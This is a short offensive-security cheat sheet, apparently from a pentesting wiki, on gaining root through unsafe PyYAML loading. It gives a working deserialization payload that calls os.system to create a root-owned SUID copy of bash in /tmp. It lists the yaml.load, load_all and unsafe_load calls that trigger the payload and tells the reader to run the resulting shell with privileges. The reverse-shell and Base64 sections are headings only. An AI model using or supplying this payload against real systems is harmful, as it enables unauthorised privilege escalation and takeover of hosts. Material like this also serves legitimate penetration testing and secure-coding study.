githubEdit

Python Yaml Privilege Escalation

Python Yaml package is vulnerable to execute arbitrary command.

Investigation

import yaml

filename = "example.yml"
yaml.load()

Payloads

import yaml
from yaml import Loader, UnsafeLoader

data = b'!!python/object/new:os.system ["cp `which bash` /tmp/bash;chown root /tmp/bash;chmod u+sx /tmp/bash"]'
yaml.load(data)
yaml.load(data, Loader=Loader)
yaml.load(data, Loader=UnsafeLoader)
yaml.load_all(data)
yaml.load_all(data, Loader=Loader)
yaml.load_all(data, Loader=UnsafeLoader)
yaml.unsafe_load(data)

Now execute the bash in privilege mode.

Reverse Shell

Start a listener in local machine.

Then execute Python script that contains the following YAML code as root.

Base64 Encoding

Sometimes we might be able to remote code execution by using Base64 encoded payload.

References

Last updated